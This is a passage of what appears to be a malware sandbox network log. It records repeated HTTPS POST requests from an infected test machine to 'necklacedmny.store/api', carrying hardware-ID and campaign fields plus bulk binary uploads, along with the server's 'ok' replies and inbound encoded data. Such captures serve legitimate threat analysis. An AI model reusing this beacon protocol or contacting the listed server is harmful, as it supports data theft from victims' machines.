2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 32 6e 6e 58 38 69 79 44 62 6b 66 66 69 42 43 34 72 32 70 73 69 37 70 52 79 6f 69 5a 5a 52 6b 53 78 6b 4a 77 42 36 72 67 37 4b 45 4c 2f 67 57 31 66 63 59 73 46 59 71 62 41 36 6c 2f 61 57 67 61 72 45 41 43 43 42 77 6b 45 68 46 44 77 71 4f 42 75 47 57 2b 34 34 6c 75 45 6d 52 39 51 2b 39 56 43 42 6f 54 76 6d 34 72 4c 4d 72 34 30 59 6d 4b 6d 71 56 5a 30 63 65 42 63 49 5a 71 49 69 70 6d 79 7a 2b 41 39 75 79 52 50 56 59 50 69 41 57 71 34 75 79 72 7a 76 2f 41 68 49 6b 61 4a 31 67 55 46 34 63 67 41 44 76 69 4c 66 4a 63 62 67 61 30 66 34 4e 76 56 6b 69 61 45 48 6b 74 4c 43 35 4a 75 64 53 49 43 64 76 6e 57 68 4b 46 77 37 4a 46 4b 53 46 74 6f 30 75 2b 56 47 66 73 67 32 74 48 33 34 67 65 50 75 77 72 70 59 68 35 55 6c 6e 4f 43 69 4b 4a 30 45 53 51 35 5a 5a 71 34 4f 7a Data Ascii: 2nnX8iyDbkffiBC4r2psi7pRyoiZZRkSxkJwB6rg7KEL/gW1fcYsFYqbA6l/aWgarEACCBwkEhFDwqOBuGW+44luEmR9Q+9VCBoTvm4rLMr40YmKmqVZ0ceBcIZqIipmyz+A9uyRPVYPiAWq4uyrzv/AhIkaJ1gUF4cgADviLfJcbga0f4NvVkiaEHktLC5JudSICdvnWhKFw7JFKSFto0u+VGfsg2tH34gePuwrpYh5UlnOCiKJ0ESQ5ZZq4Oz
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 54 55 39 67 32 78 57 53 6b 67 41 4b 75 36 75 76 68 79 71 57 38 41 45 69 53 79 58 51 59 42 54 64 64 5a 71 49 50 37 30 57 6e 30 45 74 33 36 42 62 4e 57 4b 6d 70 48 34 4c 47 70 76 43 62 67 52 53 45 6d 59 35 5a 6d 51 68 49 4a 79 42 71 73 67 4c 53 47 49 62 68 66 6b 66 55 53 39 51 64 6d 52 56 6e 67 73 36 54 34 4e 61 64 5a 5a 79 42 71 30 7a 38 47 45 67 72 49 48 36 71 44 75 6f 38 68 2f 52 6e 56 38 77 79 7a 58 43 6c 6b 53 2b 71 79 70 72 51 6b 34 30 45 6d 4b 32 32 63 62 45 4e 65 54 59 34 65 74 38 2f 6a 79 52 6a 37 42 38 62 69 42 76 56 41 61 48 6b 4f 37 4c 48 69 34 47 72 6f 55 69 30 74 61 4a 5a 6f 51 78 30 4d 79 52 53 70 67 37 47 41 49 66 34 65 32 4f 41 4a 75 56 45 68 62 6b 4c 6c 73 4b 69 37 4a 36 6b 4f 5a 79 42 2b 30 7a 38 47 4d 67 54 44 4e 36 53 44 76 4d 6b 32 74 Data Ascii: TU9g2xWSkgAKu6uvhyqW8AEiSyXQYBTddZqIP70Wn0Et36BbNWKmpH4LGpvCbgRSEmY5ZmQhIJyBqsgLSGIbhfkfUS9QdmRVngs6T4NadZZyBq0z8GEgrIH6qDuo8h/RnV8wyzXClkS+qyprQk40EmK22cbENeTY4et8/jyRj7B8biBvVAaHkO7LHi4GroUi0taJZoQx0MyRSpg7GAIf4e2OAJuVEhbkLlsKi7J6kOZyB+0z8GMgTDN6SDvMk2t
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 4b 73 6b 64 6d 4f 41 37 64 75 72 4b 6f 4b 61 74 78 4d 53 52 77 6d 47 70 4b 58 68 79 41 41 4f 2b 49 74 38 6c 78 75 42 66 65 2b 77 6d 36 58 69 39 73 51 2b 36 30 70 37 6b 73 37 55 6f 74 4a 32 43 56 5a 6b 4d 55 41 4d 38 54 70 6f 69 7a 6a 69 72 71 55 5a 2b 79 44 61 30 66 66 69 42 6e 37 4b 2b 73 71 47 72 32 44 6a 35 6e 59 5a 38 6e 48 6c 34 48 78 42 61 72 69 4c 65 50 4c 50 34 63 30 50 30 4c 74 56 41 69 61 30 66 74 76 4b 2b 39 4a 2b 31 53 4c 53 78 70 6e 32 35 4b 45 30 4f 41 57 61 69 58 2b 39 46 70 79 52 7a 66 2f 41 32 6a 48 7a 6b 75 56 36 75 36 72 76 68 79 71 55 45 72 4b 47 57 63 5a 45 55 66 43 64 77 4c 6f 34 61 7a 6a 43 58 7a 48 39 66 67 44 4c 70 57 4a 57 4e 48 37 4c 57 75 73 69 6e 75 41 47 6c 6e 59 59 73 6e 48 6c 34 67 32 51 6d 69 7a 36 54 48 4d 4c 67 57 33 62 Data Ascii: KskdmOA7durKoKatxMSRwmGpKXhyAAO+It8lxuBfe+wm6Xi9sQ+60p7ks7UotJ2CVZkMUAM8TpoizjirqUZ+yDa0ffiBn7K+sqGr2Dj5nYZ8nHl4HxBariLePLP4c0P0LtVAia0ftvK+9J+1SLSxpn25KE0OAWaiX+9FpyRzf/A2jHzkuV6u6rvhyqUErKGWcZEUfCdwLo4azjCXzH9fgDLpWJWNH7LWusinuAGlnYYsnHl4g2Qmiz6THMLgW3b
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 4e 47 56 49 35 4c 4b 72 73 53 37 68 51 79 63 6a 59 70 52 69 52 52 49 49 79 52 71 67 69 37 4b 48 49 50 64 52 6e 37 49 4e 72 52 39 2b 49 47 2f 77 76 71 36 31 61 76 59 4f 50 6d 64 68 6e 79 63 65 58 67 2f 41 48 4b 2b 46 76 59 30 73 2f 68 76 55 38 67 47 32 55 43 4a 6d 53 75 53 39 71 62 45 72 37 30 55 74 4c 47 43 65 5a 45 41 59 51 34 42 5a 71 4a 66 37 30 57 6e 59 43 74 7a 2b 44 66 56 41 61 48 6b 4f 37 4c 48 69 34 47 72 69 54 43 4d 67 5a 70 35 6b 54 68 73 48 78 42 79 76 68 36 6d 42 4b 66 38 44 77 2f 49 44 73 46 4d 6c 59 45 72 74 74 4b 53 37 4c 71 6b 4f 5a 79 42 2b 30 7a 38 47 4d 77 2f 4a 4d 4b 69 55 2b 35 5a 6e 34 56 48 57 2f 6b 72 74 48 79 64 72 52 4f 53 77 6f 62 34 70 34 6b 55 74 4a 6d 47 62 61 6c 51 64 44 4d 45 64 72 34 43 39 6a 79 6a 33 46 39 62 37 43 37 31 Data Ascii: NGVI5LKrsS7hQycjYpRiRRIIyRqgi7KHIPdRn7INrR9+IG/wvq61avYOPmdhnyceXg/AHK+FvY0s/hvU8gG2UCJmSuS9qbEr70UtLGCeZEAYQ4BZqJf70WnYCtz+DfVAaHkO7LHi4GriTCMgZp5kThsHxByvh6mBKf8Dw/IDsFMlYErttKS7LqkOZyB+0z8GMw/JMKiU+5Zn4VHW/krtHydrROSwob4p4kUtJmGbalQdDMEdr4C9jyj3F9b7C71
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 4e 57 61 74 4c 49 74 2b 55 63 77 4b 43 62 64 4a 30 6c 65 57 2f 64 5a 70 6f 69 67 6d 44 2f 31 41 64 61 79 4e 66 73 66 50 69 41 57 71 34 69 68 74 69 54 75 56 6a 5a 71 51 59 56 74 51 51 34 45 32 52 62 76 77 66 75 50 61 61 42 43 6e 37 49 4f 70 42 39 2b 4d 42 79 77 36 50 48 76 65 72 74 66 61 54 34 6d 68 53 63 65 54 45 32 4f 43 2b 2f 58 2b 38 34 71 36 67 50 58 38 52 79 32 47 42 68 65 61 66 47 77 70 4b 38 37 31 33 34 67 50 57 75 56 63 46 64 53 46 73 30 58 6f 59 69 74 79 57 65 34 48 70 47 71 4d 2f 55 58 5a 6c 38 41 71 36 58 69 34 47 72 63 51 79 6b 70 59 59 56 32 43 7a 6b 5a 77 78 2b 34 6e 76 76 48 61 66 35 52 69 61 4a 45 39 56 73 33 49 42 61 37 37 2f 6e 74 65 62 34 51 64 54 67 6f 69 69 64 51 58 6c 75 63 56 2b 2b 64 2b 39 46 70 76 78 4c 44 34 41 79 32 53 53 55 6e Data Ascii: NWatLIt+UcwKCbdJ0leW/dZpoigmD/1AdayNfsfPiAWq4ihtiTuVjZqQYVtQQ4E2RbvwfuPaaBCn7IOpB9+MByw6PHvertfaT4mhSceTE2OC+/X+84q6gPX8Ry2GBheafGwpK87134gPWuVcFdSFs0XoYityWe4HpGqM/UXZl8Aq6Xi4GrcQykpYYV2CzkZwx+4nvvHaf5RiaJE9Vs3IBa77/nteb4QdTgoiidQXlucV++d+9FpvxLD4Ay2SSUn
2024-10-29 23:22:06 UTC	1034	IN	Data Raw: 72 34 48 2b 70 4f 4b 53 42 77 67 69 70 68 45 41 54 50 44 37 2b 59 74 4d 6c 6e 75 42 65 52 71 6c 6a 37 48 79 4a 78 44 72 50 74 38 4f 4e 2f 75 68 64 33 64 58 6e 64 66 67 59 49 51 35 5a 4c 34 63 2b 70 79 58 47 34 56 74 4c 67 47 4c 4e 63 4d 47 4d 4a 31 59 4f 46 74 69 33 6f 56 6a 63 77 61 64 78 4a 63 44 38 39 38 41 79 73 67 62 57 4f 50 2b 6c 52 6e 37 49 46 39 51 63 66 49 41 61 72 67 75 7a 34 4d 71 6b 59 5a 78 4a 6c 6e 57 6c 42 43 42 4b 44 50 71 47 49 75 70 38 35 37 78 36 65 33 44 79 55 48 32 67 67 53 4b 76 6c 38 50 5a 71 37 56 46 6e 66 7a 62 42 50 42 4e 4e 56 4a 35 4c 73 4d 47 69 79 54 2b 34 53 59 4f 38 53 71 63 66 66 69 41 4a 36 4b 2b 77 76 69 6e 2f 51 32 41 5a 57 4c 52 70 51 52 38 56 33 68 53 6a 72 72 69 59 49 38 59 76 78 50 45 45 75 31 67 77 63 51 36 6c 2f Data Ascii: r4H+pOKSBwgiphEATPD7+YtMlnuBeRqlj7HyJxDrPt8ON/uhd3dXndfgYIQ5ZL4c+pyXG4VtLgGLNcMGMJ1YOFti3oVjcwadxJcD898AysgbWOP+lRn7IF9QcfIAarguz4MqkYZxJlnWlBCBKDPqGIup857x6e3DyUH2ggSKvl8PZq7VFnfzbBPBNNVJ5LsMGiyT+4SYO8SqcffiAJ6K+wvin/Q2AZWLRpQR8V3hSjrriYI8YvxPEEu1gwcQ6l/
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 31 65 66 32 0d 0a 5a 73 67 32 70 4a 47 55 2f 49 46 36 48 50 70 4d 63 77 75 41 65 52 71 6c 6e 37 48 7a 51 67 46 71 76 36 72 4c 55 72 36 6b 34 6b 4e 58 53 56 5a 46 41 64 52 50 41 6e 69 6f 4b 32 6a 43 66 2f 4c 2b 2f 54 41 4b 56 53 4b 57 63 4d 79 37 71 30 75 78 54 58 64 7a 59 67 64 74 46 42 52 51 67 41 6a 6c 66 76 6c 2f 76 52 61 64 6b 62 77 66 38 46 73 68 30 47 5a 31 6a 6f 2f 65 7a 34 4c 71 6b 59 5a 77 4a 72 6e 6d 4a 49 47 55 48 76 45 37 2b 43 74 49 35 72 32 42 62 48 38 55 72 37 48 79 6f 67 46 71 75 38 71 4b 67 6e 35 6b 64 72 49 48 79 55 4a 77 68 65 44 59 35 42 37 34 36 78 6d 53 54 33 46 70 33 30 42 4c 73 66 4f 53 35 58 71 36 76 69 34 48 6d 6e 41 44 56 6e 50 74 4d 67 52 51 77 52 79 42 71 35 6a 50 79 33 46 39 55 44 31 75 49 4a 39 32 34 72 5a 46 6a 2b 76 72 4b Data Ascii: 1ef2Zsg2pJGU/IF6HPpMcwuAeRqln7HzQgFqv6rLUr6k4kNXSVZFAdRPAnioK2jCf/L+/TAKVSKWcMy7q0uxTXdzYgdtFBRQgAjlfvl/vRadkbwf8Fsh0GZ1jo/ez4LqkYZwJrnmJIGUHvE7+CtI5r2BbH8Ur7HyogFqu8qKgn5kdrIHyUJwheDY5B746xmST3Fp30BLsfOS5Xq6vi4HmnADVnPtMgRQwRyBq5jPy3F9UD1uIJ924rZFj+vrK

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	59890	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 23:22:06 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:22:07 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58pcblj8k456mkejo14s51q99h; expires=Sat, 22 Feb 2025 17:08:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iZqVhdHsIIvSsJs5P6ygojoyBNiLeN6%2FohW%2BNmBxR5n7INMmt2Zak16nOfoj%2FwuE2EN2LlrRGZWG6Yg0tFqWvxokb%2B9DfqLj6lNOMwyFdx8v%2F73ReWQdYiZVVUNYpM5FJz2VMFE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7e17c7ceb2f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1127&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=2529257&cwnd=251&unsent_bytes=0&cid=f9cb89326838ccce&ts=628&x=0"
2024-10-29 23:22:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:22:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	59891	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 23:22:08 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:22:08 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ara2uv77a6hisvrnlvg8afht3e; expires=Sat, 22 Feb 2025 17:08:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mxTj0jos982zqTyIs6PS%2Bo8f93G4iqwid3mtIeIVvW23DSHH8t9Yb%2BwvO%2BW3Ei0VXWacfTGJAELWiFKHhW4gbuQs7TWHCo3PKiLAAIBYCqT5EOUCnzHlZkKbxjm%2B0ENuf%2FQJJZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7e8fc8be82b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1901&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=1551982&cwnd=250&unsent_bytes=0&cid=a8e7525595ad9036&ts=570&x=0"
2024-10-29 23:22:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:22:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	59892	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 23:22:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:22:09 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 23:22:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l87jv3tf2ta498ee6sccc8776j; expires=Sat, 22 Feb 2025 17:08:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RD8072rH4oeWiqQwjVnaRFiLx%2FkrU6iM4Bs8JuPjfWbi7kPe35RgXcpnIKv255DzgobqgbYFCcKLXR6I0z1f6gemPhCdYYZ6OPWtTcfdjIqI34RvWu%2FgAffI5nX7PlhesbiddTw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7f0fefcc871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1541&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=1817953&cwnd=97&unsent_bytes=0&cid=16986689ee17a85e&ts=532&x=0"
2024-10-29 23:22:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:22:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	59893	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: necklacedmny.store
2024-10-29 23:22:10 UTC	1260	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:22:11 UTC	1016	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etkvfat0lu78licnifuvhfp3g3; expires=Sat, 22 Feb 2025 17:08:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5KiPZrLXvwfF5BYYFJYzPoz1eZRllvTtzp0SaO%2F2QurN4TbdPubnzFlsCNr8cJBr3k%2BhhPlrOmIO6m8XE98cYNLq76tUX37t7YCeHFJ9v0fBJW7Bamspk%2FbzYpy2UtitFoVq5%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7f8acf3e7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2367&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2179&delivery_rate=1202158&cwnd=231&unsent_bytes=0&cid=1df2f39300ae37b9&ts=579&x=0"
2024-10-29 23:22:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	59895	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48714 Host: necklacedmny.store
2024-10-29 23:22:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
